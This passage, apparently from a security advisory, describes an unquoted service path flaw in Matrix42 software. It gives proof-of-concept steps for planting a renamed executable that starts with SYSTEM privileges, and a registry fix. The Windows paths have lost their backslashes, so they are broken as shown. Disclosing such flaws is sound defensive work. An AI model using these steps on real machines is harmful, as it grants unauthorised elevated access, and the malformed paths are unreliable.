Proof of concept: Copy notepad.exe to "C:Program Files (x86)Matrix42" and rename it to "Remote.exe". Restart the service or the machine and Remote.exe will start with SYSTEM privileges. 3. Solution: To fix it manually, open regedit, browse to HKLMSYSTEMCurrentControlSetservices and add the quotes to the ImagePath value of the relevant service.
